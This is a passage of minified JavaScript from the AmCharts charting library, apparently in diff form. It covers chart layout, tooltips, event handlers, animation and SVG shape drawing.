a.set(),this.graphsBehindSet=a.set(),this.bulletBehindSet=a.set(),this.columnSet=a.set(),this.graphsSet=a.set(),this.trendLinesSet=a.set(),this.axesLabelsSet=a.set(),this.axesSet=a.set(),this.cursorSet=a.set(),this.scrollbarsSet=a.set(),this.bulletSet=a.set(),this.freeLabelsSet=a.set(),this.balloonsSet=a.set(),this.balloonsSet.setAttr("id","balloons"),this.zoomButtonSet=a.set(),this.linkSet=a.set(),this.renderFix()},measure:function(){var a=this.div,b=this.chartDiv,c=a.offsetWidth,d=a.offsetHeight,
|
65 |
+
f=this.container;a.clientHeight&&(c=a.clientWidth,d=a.clientHeight);var e=AmCharts.removePx(AmCharts.getStyle(a,"padding-left")),g=AmCharts.removePx(AmCharts.getStyle(a,"padding-right")),h=AmCharts.removePx(AmCharts.getStyle(a,"padding-top")),k=AmCharts.removePx(AmCharts.getStyle(a,"padding-bottom"));isNaN(e)||(c-=e);isNaN(g)||(c-=g);isNaN(h)||(d-=h);isNaN(k)||(d-=k);e=a.style;a=e.width;e=e.height;-1!=a.indexOf("px")&&(c=AmCharts.removePx(a));-1!=e.indexOf("px")&&(d=AmCharts.removePx(e));a=AmCharts.toCoordinate(this.width,
|
66 |
+
c);e=AmCharts.toCoordinate(this.height,d);this.balloon=AmCharts.processObject(this.balloon,AmCharts.AmBalloon,this.theme);this.balloon.chart=this;if(a!=this.previousWidth||e!=this.previousHeight)b.style.width=a+"px",b.style.height=e+"px",f&&f.setSize(a,e);this.balloon.setBounds(2,2,a-2,e);this.realWidth=a;this.realHeight=e;this.divRealWidth=c;this.divRealHeight=d},destroy:function(){this.chartDiv.innerHTML="";this.clearTimeOuts();this.interval&&clearInterval(this.interval);this.interval=NaN},clearTimeOuts:function(){var a=
|
67 |
+
this.timeOuts;if(a){var b;for(b=0;b<a.length;b++)clearTimeout(a[b])}this.timeOuts=[]},clear:function(a){AmCharts.callMethod("clear",[this.chartScrollbar,this.scrollbarV,this.scrollbarH,this.chartCursor]);this.chartCursor=this.scrollbarH=this.scrollbarV=this.chartScrollbar=null;this.clearTimeOuts();this.interval&&clearInterval(this.interval);this.container&&(this.container.remove(this.chartDiv),this.container.remove(this.legendDiv));a||AmCharts.removeChart(this)},setMouseCursor:function(a){"auto"==
|
68 |
+
a&&AmCharts.isNN&&(a="default");this.chartDiv.style.cursor=a;this.legendDiv.style.cursor=a},redrawLabels:function(){this.labels=[];var a=this.allLabels;this.createLabelsSet();var b;for(b=0;b<a.length;b++)this.drawLabel(a[b])},drawLabel:function(a){if(this.container){var b=a.y,c=a.text,d=a.align,f=a.size,e=a.color,g=a.rotation,h=a.alpha,k=a.bold,l=AmCharts.toCoordinate(a.x,this.realWidth),b=AmCharts.toCoordinate(b,this.realHeight);l||(l=0);b||(b=0);void 0===e&&(e=this.color);isNaN(f)&&(f=this.fontSize);
|
69 |
+
d||(d="start");"left"==d&&(d="start");"right"==d&&(d="end");"center"==d&&(d="middle",g?b=this.realHeight-b+b/2:l=this.realWidth/2-l);void 0===h&&(h=1);void 0===g&&(g=0);b+=f/2;c=AmCharts.text(this.container,c,e,this.fontFamily,f,d,k,h);c.translate(l,b);0!==g&&c.rotate(g);a.url&&(c.setAttr("cursor","pointer"),c.click(function(){AmCharts.getURL(a.url)}));this.labelsSet.push(c);this.labels.push(c)}},addLabel:function(a,b,c,d,f,e,g,h,k,l){a={x:a,y:b,text:c,align:d,size:f,color:e,alpha:h,rotation:g,bold:k,
|
70 |
+
url:l};this.container&&this.drawLabel(a);this.allLabels.push(a)},clearLabels:function(){var a=this.labels,b;for(b=a.length-1;0<=b;b--)a[b].remove();this.labels=[];this.allLabels=[]},updateHeight:function(){var a=this.divRealHeight,b=this.legend;if(b){var c=this.legendDiv.offsetHeight,b=b.position;if("top"==b||"bottom"==b){a-=c;if(0>a||isNaN(a))a=0;this.chartDiv.style.height=a+"px"}}return a},updateWidth:function(){var a=this.divRealWidth,b=this.divRealHeight,c=this.legend;if(c){var d=this.legendDiv,
|
71 |
+
f=d.offsetWidth;isNaN(c.width)||(f=c.width);var e=d.offsetHeight,d=d.style,g=this.chartDiv.style,c=c.position;if("right"==c||"left"==c){a-=f;if(0>a||isNaN(a))a=0;g.width=a+"px";"left"==c?g.left=f+"px":d.left=a+"px";d.top=(b-e)/2+"px"}}return a},getTitleHeight:function(){var a=0,b=this.titles;if(0<b.length){var a=15,c;for(c=0;c<b.length;c++){var d=b[c].size;isNaN(d)&&(d=this.fontSize+2);a+=d+6}}return a},addTitle:function(a,b,c,d,f){isNaN(b)&&(b=this.fontSize+2);a={text:a,size:b,color:c,alpha:d,bold:f};
|
72 |
+
this.titles.push(a);return a},addMouseWheel:function(){var a=this;window.addEventListener&&(window.addEventListener("DOMMouseScroll",function(b){a.handleWheel.call(a,b)},!1),document.addEventListener("mousewheel",function(b){a.handleWheel.call(a,b)},!1))},handleWheel:function(a){if(this.mouseIsOver){var b=0;a||(a=window.event);a.wheelDelta?b=a.wheelDelta/120:a.detail&&(b=-a.detail/3);b&&this.handleWheelReal(b,a.shiftKey);a.preventDefault&&a.preventDefault()}},handleWheelReal:function(a){},addListeners:function(){var a=
|
73 |
+
this,b=a.chartDiv;document.addEventListener?(a.panEventsEnabled&&"ontouchstart"in document.documentElement&&(b.addEventListener("touchstart",function(b){a.handleTouchMove.call(a,b);a.handleTouchStart.call(a,b)},!0),b.addEventListener("touchmove",function(b){a.handleTouchMove.call(a,b)},!0),b.addEventListener("touchend",function(b){a.handleTouchEnd.call(a,b)},!0)),b.addEventListener("mousedown",function(b){a.handleMouseDown.call(a,b)},!0),b.addEventListener("mouseover",function(b){a.handleMouseOver.call(a,
|
74 |
+
b)},!0),b.addEventListener("mouseout",function(b){a.handleMouseOut.call(a,b)},!0)):(b.attachEvent("onmousedown",function(b){a.handleMouseDown.call(a,b)}),b.attachEvent("onmouseover",function(b){a.handleMouseOver.call(a,b)}),b.attachEvent("onmouseout",function(b){a.handleMouseOut.call(a,b)}))},dispDUpd:function(){var a;this.dispatchDataUpdated&&(this.dispatchDataUpdated=!1,a="dataUpdated",this.fire(a,{type:a,chart:this}));this.chartCreated||(a="init",this.fire(a,{type:a,chart:this}));this.chartRendered||
|
75 |
+
(a="rendered",this.fire(a,{type:a,chart:this}),this.chartRendered=!0);a="drawn";this.fire(a,{type:a,chart:this})},validateSize:function(){var a=this;a.measure();var b=a.legend;if((a.realWidth!=a.previousWidth||a.realHeight!=a.previousHeight)&&0<a.realWidth&&0<a.realHeight){a.sizeChanged=!0;if(b){clearTimeout(a.legendInitTO);var c=setTimeout(function(){b.invalidateSize()},100);a.timeOuts.push(c);a.legendInitTO=c}a.marginsUpdated="xy"!=a.type?!1:!0;clearTimeout(a.initTO);c=setTimeout(function(){a.initChart()},
|
76 |
+
150);a.timeOuts.push(c);a.initTO=c}a.renderFix();b&&b.renderFix()},invalidateSize:function(){this.previousHeight=this.previousWidth=NaN;this.invalidateSizeReal()},invalidateSizeReal:function(){var a=this;a.marginsUpdated=!1;clearTimeout(a.validateTO);var b=setTimeout(function(){a.validateSize()},5);a.timeOuts.push(b);a.validateTO=b},validateData:function(a){this.chartCreated&&(this.dataChanged=!0,this.marginsUpdated="xy"!=this.type?!1:!0,this.initChart(a))},validateNow:function(){this.chartRendered=
|
77 |
+
this.listenersAdded=!1;this.write(this.div)},showItem:function(a){a.hidden=!1;this.initChart()},hideItem:function(a){a.hidden=!0;this.initChart()},hideBalloon:function(){var a=this;clearInterval(a.hoverInt);clearTimeout(a.balloonTO);a.hoverInt=setTimeout(function(){a.hideBalloonReal.call(a)},a.hideBalloonTime)},cleanChart:function(){},hideBalloonReal:function(){var a=this.balloon;a&&a.hide()},showBalloon:function(a,b,c,d,f){var e=this;clearTimeout(e.balloonTO);clearInterval(e.hoverInt);e.balloonTO=
|
78 |
+
setTimeout(function(){e.showBalloonReal.call(e,a,b,c,d,f)},1)},showBalloonReal:function(a,b,c,d,f){this.handleMouseMove();var e=this.balloon;e.enabled&&(e.followCursor(!1),e.changeColor(b),!c||e.fixedPosition?(e.setPosition(d,f),e.followCursor(!1)):e.followCursor(!0),a&&e.showBalloon(a))},handleTouchMove:function(a){this.hideBalloon();var b=this.chartDiv;a.touches&&(a=a.touches.item(0),this.mouseX=a.pageX-AmCharts.findPosX(b),this.mouseY=a.pageY-AmCharts.findPosY(b))},handleMouseOver:function(a){AmCharts.resetMouseOver();
|
79 |
+
this.mouseIsOver=!0},handleMouseOut:function(a){AmCharts.resetMouseOver();this.mouseIsOver=!1},handleMouseMove:function(a){if(this.mouseIsOver){var b=this.chartDiv;a||(a=window.event);var c,d;if(a){this.posX=AmCharts.findPosX(b);this.posY=AmCharts.findPosY(b);switch(this.mouseMode){case 1:c=a.clientX-this.posX;d=a.clientY-this.posY;if(!this.divIsFixed){var b=document.body,f,e;b&&(f=b.scrollLeft,y1=b.scrollTop);if(b=document.documentElement)e=b.scrollLeft,y2=b.scrollTop;f=Math.max(f,e);e=Math.max(y1,
|
80 |
+
y2);c+=f;d+=e}break;case 0:this.divIsFixed?(c=a.clientX-this.posX,d=a.clientY-this.posY):(c=a.pageX-this.posX,d=a.pageY-this.posY)}a.touches&&(a=a.touches.item(0),c=a.pageX-this.posX,d=a.pageY-this.posY);this.mouseX=c-this.dmouseX;this.mouseY=d-this.dmouseY}}},handleTouchStart:function(a){this.handleMouseDown(a)},handleTouchEnd:function(a){AmCharts.resetMouseOver();this.handleReleaseOutside(a)},handleReleaseOutside:function(a){},handleMouseDown:function(a){AmCharts.resetMouseOver();this.mouseIsOver=
|
81 |
+
!0;a&&a.preventDefault&&a.preventDefault()},addLegend:function(a,b){a=AmCharts.processObject(a,AmCharts.AmLegend,this.theme);a.divId=b;var c;c="object"!=typeof b&&b?document.getElementById(b):b;this.legend=a;a.chart=this;c?(a.div=c,a.position="outside",a.autoMargins=!1):a.div=this.legendDiv;c=this.handleLegendEvent;this.listenTo(a,"showItem",c);this.listenTo(a,"hideItem",c);this.listenTo(a,"clickMarker",c);this.listenTo(a,"rollOverItem",c);this.listenTo(a,"rollOutItem",c);this.listenTo(a,"rollOverMarker",
|
82 |
+
c);this.listenTo(a,"rollOutMarker",c);this.listenTo(a,"clickLabel",c);return a},removeLegend:function(){this.legend=void 0;this.legendDiv.innerHTML=""},handleResize:function(){(AmCharts.isPercents(this.width)||AmCharts.isPercents(this.height))&&this.invalidateSizeReal();this.renderFix()},renderFix:function(){if(!AmCharts.VML){var a=this.container;a&&a.renderFix()}},getSVG:function(){if(AmCharts.hasSVG)return this.container},animate:function(a,b,c,d,f,e,g){a["an_"+b]&&AmCharts.removeFromArray(this.animations,
|
83 |
+
a["an_"+b]);c={obj:a,frame:0,attribute:b,from:c,to:d,time:f,effect:e,suffix:g};a["an_"+b]=c;this.animations.push(c);return c},setLegendData:function(a){var b=this.legend;b&&b.setData(a)},startInterval:function(){var a=this;clearInterval(a.interval);a.interval=setInterval(function(){a.updateAnimations.call(a)},AmCharts.updateRate)},stopAnim:function(a){AmCharts.removeFromArray(this.animations,a)},updateAnimations:function(){var a;this.container&&this.container.update();for(a=this.animations.length-
|
84 |
+
1;0<=a;a--){var b=this.animations[a],c=1E3*b.time/AmCharts.updateRate,d=b.frame+1,f=b.obj,e=b.attribute;if(d<=c){b.frame++;var g=Number(b.from),h=Number(b.to)-g,c=AmCharts[b.effect](0,d,g,h,c);0===h?this.animations.splice(a,1):f.node.style[e]=c+b.suffix}else f.node.style[e]=Number(b.to)+b.suffix,this.animations.splice(a,1)}},brr:function(){var a=window.location.hostname.split("."),b;2<=a.length&&(b=a[a.length-2]+"."+a[a.length-1]);this.amLink&&(a=this.amLink.parentNode)&&a.removeChild(this.amLink);
|
85 |
+
a=this.creditsPosition;if("amcharts.com"!=b){var c=b=0,d=this.realWidth,f=this.realHeight;if("serial"==this.type||"xy"==this.type)b=this.marginLeftReal,c=this.marginTopReal,d=b+this.plotAreaWidth,f=c+this.plotAreaHeight;var e="http://www.amcharts.com/javascript-charts/",g="JavaScript charts",h="JS chart by amCharts";"ammap"==this.product&&(e="http://www.ammap.com/javascript-maps/",g="Interactive JavaScript maps",h="JS map by amCharts");var k=document.createElement("a"),h=document.createTextNode(h);
|
86 |
+
k.setAttribute("href",e);k.setAttribute("title",g);k.appendChild(h);this.chartDiv.appendChild(k);this.amLink=k;e=k.style;e.position="absolute";e.textDecoration="none";e.color=this.color;e.fontFamily=this.fontFamily;e.fontSize=this.fontSize+"px";e.opacity=0.7;e.display="block";var g=k.offsetWidth,k=k.offsetHeight,h=5+b,l=c+5;"bottom-left"==a&&(h=5+b,l=f-k-3);"bottom-right"==a&&(h=d-g-5,l=f-k-3);"top-right"==a&&(h=d-g-5,l=c+5);e.left=h+"px";e.top=l+"px"}}});AmCharts.Slice=AmCharts.Class({construct:function(){}});
|
87 |
+
AmCharts.SerialDataItem=AmCharts.Class({construct:function(){}});AmCharts.GraphDataItem=AmCharts.Class({construct:function(){}});AmCharts.Guide=AmCharts.Class({construct:function(a){this.cname="Guide";AmCharts.applyTheme(this,a,this.cname)}});AmCharts.AmBalloon=AmCharts.Class({construct:function(a){this.cname="AmBalloon";this.enabled=!0;this.fillColor="#FFFFFF";this.fillAlpha=0.8;this.borderThickness=2;this.borderColor="#FFFFFF";this.borderAlpha=1;this.cornerRadius=0;this.maximumWidth=220;this.horizontalPadding=8;this.verticalPadding=4;this.pointerWidth=6;this.pointerOrientation="V";this.color="#000000";this.adjustBorderColor=!0;this.show=this.follow=this.showBullet=!1;this.bulletSize=3;this.shadowAlpha=0.4;this.shadowColor="#000000";
|
88 |
+
this.fadeOutDuration=this.animationDuration=0.3;this.fixedPosition=!1;this.offsetY=6;this.offsetX=1;this.textAlign="center";AmCharts.isModern||(this.offsetY*=1.5);AmCharts.applyTheme(this,a,this.cname)},draw:function(){var a=this.pointToX,b=this.pointToY;this.deltaSignX=this.deltaSignY=1;var c=this.chart;AmCharts.VML&&(this.fadeOutDuration=0);this.xAnim&&c.stopAnim(this.xAnim);this.yAnim&&c.stopAnim(this.yAnim);if(!isNaN(a)){var d=this.follow,f=c.container,e=this.set;AmCharts.remove(e);this.removeDiv();
|
89 |
+
this.set=e=f.set();c.balloonsSet.push(e);if(this.show){var g=this.l,h=this.t,k=this.r,l=this.b,m=this.balloonColor,n=this.fillColor,q=this.borderColor,p=n;void 0!=m&&(this.adjustBorderColor?p=q=m:n=m);var A=this.horizontalPadding,y=this.verticalPadding,s=this.pointerWidth,r=this.pointerOrientation,x=this.cornerRadius,u=c.fontFamily,w=this.fontSize;void 0==w&&(w=c.fontSize);var m=document.createElement("div"),t=m.style;t.position="absolute";var z=this.minWidth,v="";isNaN(z)||(v="min-width:"+(z-2*A)+
|
90 |
+
"px; ");m.innerHTML='<div style="text-align:'+this.textAlign+"; "+v+"max-width:"+this.maxWidth+"px; font-size:"+w+"px; color:"+this.color+"; font-family:"+u+'">'+this.text+"</div>";c.chartDiv.appendChild(m);this.textDiv=m;w=m.offsetWidth;u=m.offsetHeight;m.clientHeight&&(w=m.clientWidth,u=m.clientHeight);u+=2*y;v=w+2*A;!isNaN(z)&&v<z&&(v=z);window.opera&&(u+=2);var F=!1,w=this.offsetY;c.handDrawn&&(w+=c.handDrawScatter+2);"H"!=r?(z=a-v/2,b<h+u+10&&"down"!=r?(F=!0,d&&(b+=w),w=b+s,this.deltaSignY=-1):
|
91 |
+
(d&&(b-=w),w=b-u-s,this.deltaSignY=1)):(2*s>u&&(s=u/2),w=b-u/2,a<g+(k-g)/2?(z=a+s,this.deltaSignX=-1):(z=a-v-s,this.deltaSignX=1));w+u>=l&&(w=l-u);w<h&&(w=h);z<g&&(z=g);z+v>k&&(z=k-v);var h=w+y,l=z+A,y=this.shadowAlpha,D=this.shadowColor,A=this.borderThickness,B=this.bulletSize,C;0<x||0===s?(0<y&&(a=AmCharts.rect(f,v,u,n,0,A+1,D,y,this.cornerRadius),AmCharts.isModern?a.translate(1,1):a.translate(4,4),e.push(a)),n=AmCharts.rect(f,v,u,n,this.fillAlpha,A,q,this.borderAlpha,this.cornerRadius),this.showBullet&&
|
92 |
+
(C=AmCharts.circle(f,B,p,this.fillAlpha),e.push(C))):(p=[],x=[],"H"!=r?(g=a-z,g>v-s&&(g=v-s),g<s&&(g=s),p=[0,g-s,a-z,g+s,v,v,0,0],x=F?[0,0,b-w,0,0,u,u,0]:[u,u,b-w,u,u,0,0,u]):(p=b-w,p>u-s&&(p=u-s),p<s&&(p=s),x=[0,p-s,b-w,p+s,u,u,0,0],p=a<g+(k-g)/2?[0,0,z<a?0:a-z,0,0,v,v,0]:[v,v,z+v>a?v:a-z,v,v,0,0,v]),0<y&&(a=AmCharts.polygon(f,p,x,n,0,A,D,y),a.translate(1,1),e.push(a)),n=AmCharts.polygon(f,p,x,n,this.fillAlpha,A,q,this.borderAlpha));this.bg=n;e.push(n);n.toFront();f=1*this.deltaSignX;t.left=l+"px";
|
93 |
+
t.top=h+"px";e.translate(z-f,w);n=n.getBBox();this.bottom=w+u+1;this.yPos=n.y+w;C&&C.translate(this.pointToX-z+f,b-w);b=this.animationDuration;0<this.animationDuration&&!d&&!isNaN(this.prevX)&&(e.translate(this.prevX,this.prevY),e.animate({translate:z-f+","+w},b,"easeOutSine"),m&&(t.left=this.prevTX+"px",t.top=this.prevTY+"px",this.xAnim=c.animate({node:m},"left",this.prevTX,l,b,"easeOutSine","px"),this.yAnim=c.animate({node:m},"top",this.prevTY,h,b,"easeOutSine","px")));this.prevX=z-f;this.prevY=
|
94 |
+
w;this.prevTX=l;this.prevTY=h}}},followMouse:function(){if(this.follow&&this.show){var a=this.chart.mouseX-this.offsetX*this.deltaSignX,b=this.chart.mouseY;this.pointToX=a;this.pointToY=b;if(a!=this.previousX||b!=this.previousY)if(this.previousX=a,this.previousY=b,0===this.cornerRadius)this.draw();else{var c=this.set;if(c){var d=c.getBBox(),a=a-d.width/2,f=b-d.height-10;a<this.l&&(a=this.l);a>this.r-d.width&&(a=this.r-d.width);f<this.t&&(f=b+10);c.translate(a,f);b=this.textDiv.style;b.left=a+this.horizontalPadding+
|
95 |
+
"px";b.top=f+this.verticalPadding+"px"}}}},changeColor:function(a){this.balloonColor=a},setBounds:function(a,b,c,d){this.l=a;this.t=b;this.r=c;this.b=d;this.destroyTO&&clearTimeout(this.destroyTO)},showBalloon:function(a){this.text=a;this.show=!0;this.destroyTO&&clearTimeout(this.destroyTO);a=this.chart;this.fadeAnim1&&a.stopAnim(this.fadeAnim1);this.fadeAnim2&&a.stopAnim(this.fadeAnim2);this.draw()},hide:function(){var a=this,b=a.fadeOutDuration,c=a.chart;if(0<b){a.destroyTO=setTimeout(function(){a.destroy.call(a)},
|
96 |
+
1E3*b);a.follow=!1;a.show=!1;var d=a.set;d&&(d.setAttr("opacity",a.fillAlpha),a.fadeAnim1=d.animate({opacity:0},b,"easeInSine"));a.textDiv&&(a.fadeAnim2=c.animate({node:a.textDiv},"opacity",1,0,b,"easeInSine",""))}else a.show=!1,a.follow=!1,a.destroy()},setPosition:function(a,b,c){this.pointToX=a;this.pointToY=b;c&&(a==this.previousX&&b==this.previousY||this.draw());this.previousX=a;this.previousY=b},followCursor:function(a){var b=this;(b.follow=a)?(b.pShowBullet=b.showBullet,b.showBullet=!1):void 0!==
|
97 |
+
b.pShowBullet&&(b.showBullet=b.pShowBullet);clearInterval(b.interval);var c=b.chart.mouseX,d=b.chart.mouseY;!isNaN(c)&&a&&(b.pointToX=c-b.offsetX*b.deltaSignX,b.pointToY=d,b.followMouse(),b.interval=setInterval(function(){b.followMouse.call(b)},40))},removeDiv:function(){if(this.textDiv){var a=this.textDiv.parentNode;a&&a.removeChild(this.textDiv)}},destroy:function(){clearInterval(this.interval);AmCharts.remove(this.set);this.removeDiv();this.set=null}});AmCharts.circle=function(a,b,c,d,f,e,g,h){if(void 0==f||0===f)f=0.01;void 0===e&&(e="#000000");void 0===g&&(g=0);d={fill:c,stroke:e,"fill-opacity":d,"stroke-width":f,"stroke-opacity":g};a=a.circle(0,0,b).attr(d);h&&a.gradient("radialGradient",[c,AmCharts.adjustLuminosity(c,-0.6)]);return a};
|
98 |
AmCharts.text=function(a,b,c,d,f,e,g,h){e||(e="middle");"right"==e&&(e="end");isNaN(h)&&(h=1);void 0!==b&&(b=String(b),AmCharts.isIE&&!AmCharts.isModern&&(b=b.replace("&","&"),b=b.replace("&","&")));c={fill:c,"font-family":d,"font-size":f,opacity:h};!0===g&&(c["font-weight"]="bold");c["text-anchor"]=e;return a.text(b,c)};
|
99 |
+
AmCharts.polygon=function(a,b,c,d,f,e,g,h,k,l,m){isNaN(e)&&(e=0.01);isNaN(h)&&(h=f);var n=d,q=!1;"object"==typeof n&&1<n.length&&(q=!0,n=n[0]);void 0===g&&(g=n);f={fill:n,stroke:g,"fill-opacity":f,"stroke-width":e,"stroke-opacity":h};void 0!==m&&0<m&&(f["stroke-dasharray"]=m);m=AmCharts.dx;e=AmCharts.dy;a.handDrawn&&(c=AmCharts.makeHD(b,c,a.handDrawScatter),b=c[0],c=c[1]);g=Math.round;l&&(g=AmCharts.doNothing);l="M"+(g(b[0])+m)+","+(g(c[0])+e);for(h=1;h<b.length;h++)l+=" L"+(g(b[h])+m)+","+(g(c[h])+
|
100 |
e);a=a.path(l+" Z").attr(f);q&&a.gradient("linearGradient",d,k);return a};
|
101 |
+
AmCharts.rect=function(a,b,c,d,f,e,g,h,k,l,m){isNaN(e)&&(e=0);void 0===k&&(k=0);void 0===l&&(l=270);isNaN(f)&&(f=0);var n=d,q=!1;"object"==typeof n&&(n=n[0],q=!0);void 0===g&&(g=n);void 0===h&&(h=f);b=Math.round(b);c=Math.round(c);var p=0,A=0;0>b&&(b=Math.abs(b),p=-b);0>c&&(c=Math.abs(c),A=-c);p+=AmCharts.dx;A+=AmCharts.dy;f={fill:n,stroke:g,"fill-opacity":f,"stroke-opacity":h};void 0!==m&&0<m&&(f["stroke-dasharray"]=m);a=a.rect(p,A,b,c,k,e).attr(f);q&&a.gradient("linearGradient",d,l);return a};
|
102 |
+
AmCharts.bullet=function(a,b,c,d,f,e,g,h,k,l,m){var n;"circle"==b&&(b="round");switch(b){case "round":n=AmCharts.circle(a,c/2,d,f,e,g,h);break;case "square":n=AmCharts.polygon(a,[-c/2,c/2,c/2,-c/2],[c/2,c/2,-c/2,-c/2],d,f,e,g,h,l-180);break;case "rectangle":n=AmCharts.polygon(a,[-c,c,c,-c],[c/2,c/2,-c/2,-c/2],d,f,e,g,h,l-180);break;case "diamond":n=AmCharts.polygon(a,[-c/2,0,c/2,0],[0,-c/2,0,c/2],d,f,e,g,h);break;case "triangleUp":n=AmCharts.triangle(a,c,0,d,f,e,g,h);break;case "triangleDown":n=AmCharts.triangle(a,
|
103 |
+
c,180,d,f,e,g,h);break;case "triangleLeft":n=AmCharts.triangle(a,c,270,d,f,e,g,h);break;case "triangleRight":n=AmCharts.triangle(a,c,90,d,f,e,g,h);break;case "bubble":n=AmCharts.circle(a,c/2,d,f,e,g,h,!0);break;case "line":n=AmCharts.line(a,[-c/2,c/2],[0,0],d,f,e,g,h);break;case "yError":n=a.set();n.push(AmCharts.line(a,[0,0],[-c/2,c/2],d,f,e));n.push(AmCharts.line(a,[-k,k],[-c/2,-c/2],d,f,e));n.push(AmCharts.line(a,[-k,k],[c/2,c/2],d,f,e));break;case "xError":n=a.set(),n.push(AmCharts.line(a,[-c/
|
104 |
+
2,c/2],[0,0],d,f,e)),n.push(AmCharts.line(a,[-c/2,-c/2],[-k,k],d,f,e)),n.push(AmCharts.line(a,[c/2,c/2],[-k,k],d,f,e))}n&&n.pattern(m);return n};
|
105 |
AmCharts.triangle=function(a,b,c,d,f,e,g,h){if(void 0===e||0===e)e=1;void 0===g&&(g="#000");void 0===h&&(h=0);d={fill:d,stroke:g,"fill-opacity":f,"stroke-width":e,"stroke-opacity":h};b/=2;var k;0===c&&(k=" M"+-b+","+b+" L0,"+-b+" L"+b+","+b+" Z");180==c&&(k=" M"+-b+","+-b+" L0,"+b+" L"+b+","+-b+" Z");90==c&&(k=" M"+-b+","+-b+" L"+b+",0 L"+-b+","+b+" Z");270==c&&(k=" M"+-b+",0 L"+b+","+b+" L"+b+","+-b+" Z");return a.path(k).attr(d)};
|
106 |
AmCharts.line=function(a,b,c,d,f,e,g,h,k,l,m){if(a.handDrawn&&!m)return AmCharts.handDrawnLine(a,b,c,d,f,e,g,h,k,l,m);e={fill:"none","stroke-width":e};void 0!==g&&0<g&&(e["stroke-dasharray"]=g);isNaN(f)||(e["stroke-opacity"]=f);d&&(e.stroke=d);d=Math.round;l&&(d=AmCharts.doNothing);l=AmCharts.dx;f=AmCharts.dy;g="M"+(d(b[0])+l)+","+(d(c[0])+f);for(h=1;h<b.length;h++)g+=" L"+(d(b[h])+l)+","+(d(c[h])+f);if(AmCharts.VML)return a.path(g,void 0,!0).attr(e);k&&(g+=" M0,0 L0,0");return a.path(g).attr(e)};
|
107 |
+
AmCharts.makeHD=function(a,b,c){for(var d=[],f=[],e=1;e<a.length;e++)for(var g=Number(a[e-1]),h=Number(b[e-1]),k=Number(a[e]),l=Number(b[e]),m=Math.sqrt(Math.pow(k-g,2)+Math.pow(l-h,2)),m=Math.round(m/50)+1,k=(k-g)/m,l=(l-h)/m,n=0;n<=m;n++){var q=g+n*k+Math.random()*c,p=h+n*l+Math.random()*c;d.push(q);f.push(p)}return[d,f]};
|
108 |
+
AmCharts.handDrawnLine=function(a,b,c,d,f,e,g,h,k,l,m){var n=a.set();for(m=1;m<b.length;m++)for(var q=[b[m-1],b[m]],p=[c[m-1],c[m]],p=AmCharts.makeHD(q,p,a.handDrawScatter),q=p[0],p=p[1],A=1;A<q.length;A++)n.push(AmCharts.line(a,[q[A-1],q[A]],[p[A-1],p[A]],d,f,e+Math.random()*a.handDrawThickness-a.handDrawThickness/2,g,h,k,l,!0));return n};AmCharts.doNothing=function(a){return a};
|
109 |
+
AmCharts.wedge=function(a,b,c,d,f,e,g,h,k,l,m,n){var q=Math.round;e=q(e);g=q(g);h=q(h);var p=q(g/e*h),A=AmCharts.VML,y=359.5+e/100;359.94<y&&(y=359.94);f>=y&&(f=y);var s=1/180*Math.PI,y=b+Math.sin(d*s)*h,r=c-Math.cos(d*s)*p,x=b+Math.sin(d*s)*e,u=c-Math.cos(d*s)*g,w=b+Math.sin((d+f)*s)*e,t=c-Math.cos((d+f)*s)*g,z=b+Math.sin((d+f)*s)*h,s=c-Math.cos((d+f)*s)*p,v={fill:AmCharts.adjustLuminosity(l.fill,-0.2),"stroke-opacity":0,"fill-opacity":l["fill-opacity"]},F=0;180<Math.abs(f)&&(F=1);d=a.set();var D;
|
110 |
+
A&&(y=q(10*y),x=q(10*x),w=q(10*w),z=q(10*z),r=q(10*r),u=q(10*u),t=q(10*t),s=q(10*s),b=q(10*b),k=q(10*k),c=q(10*c),e*=10,g*=10,h*=10,p*=10,1>Math.abs(f)&&1>=Math.abs(w-x)&&1>=Math.abs(t-u)&&(D=!0));f="";var B;n&&(v["fill-opacity"]=0,v["stroke-opacity"]=l["stroke-opacity"]/2,v.stroke=l.stroke);0<k&&(A?(B=" M"+y+","+(r+k)+" L"+x+","+(u+k),D||(B+=" A"+(b-e)+","+(k+c-g)+","+(b+e)+","+(k+c+g)+","+x+","+(u+k)+","+w+","+(t+k)),B+=" L"+z+","+(s+k),0<h&&(D||(B+=" B"+(b-h)+","+(k+c-p)+","+(b+h)+","+(k+c+p)+
|
111 |
+
","+z+","+(k+s)+","+y+","+(k+r)))):(B=" M"+y+","+(r+k)+" L"+x+","+(u+k)+(" A"+e+","+g+",0,"+F+",1,"+w+","+(t+k)+" L"+z+","+(s+k)),0<h&&(B+=" A"+h+","+p+",0,"+F+",0,"+y+","+(r+k))),B+=" Z",B=a.path(B,void 0,void 0,"1000,1000").attr(v),d.push(B),B=a.path(" M"+y+","+r+" L"+y+","+(r+k)+" L"+x+","+(u+k)+" L"+x+","+u+" L"+y+","+r+" Z",void 0,void 0,"1000,1000").attr(v),k=a.path(" M"+w+","+t+" L"+w+","+(t+k)+" L"+z+","+(s+k)+" L"+z+","+s+" L"+w+","+t+" Z",void 0,void 0,"1000,1000").attr(v),d.push(B),d.push(k));
|
112 |
+
A?(D||(f=" A"+q(b-e)+","+q(c-g)+","+q(b+e)+","+q(c+g)+","+q(x)+","+q(u)+","+q(w)+","+q(t)),e=" M"+q(y)+","+q(r)+" L"+q(x)+","+q(u)+f+" L"+q(z)+","+q(s)):e=" M"+y+","+r+" L"+x+","+u+(" A"+e+","+g+",0,"+F+",1,"+w+","+t)+" L"+z+","+s;0<h&&(A?D||(e+=" B"+(b-h)+","+(c-p)+","+(b+h)+","+(c+p)+","+z+","+s+","+y+","+r):e+=" A"+h+","+p+",0,"+F+",0,"+y+","+r);a.handDrawn&&(b=AmCharts.line(a,[y,x],[r,u],l.stroke,l.thickness*Math.random()*a.handDrawThickness,l["stroke-opacity"]),d.push(b));a=a.path(e+" Z",void 0,
|
113 |
+
void 0,"1000,1000").attr(l);if(m){b=[];for(c=0;c<m.length;c++)b.push(AmCharts.adjustLuminosity(l.fill,m[c]));0<b.length&&a.gradient("linearGradient",b)}a.pattern(n);d.push(a);return d};
|
114 |
+
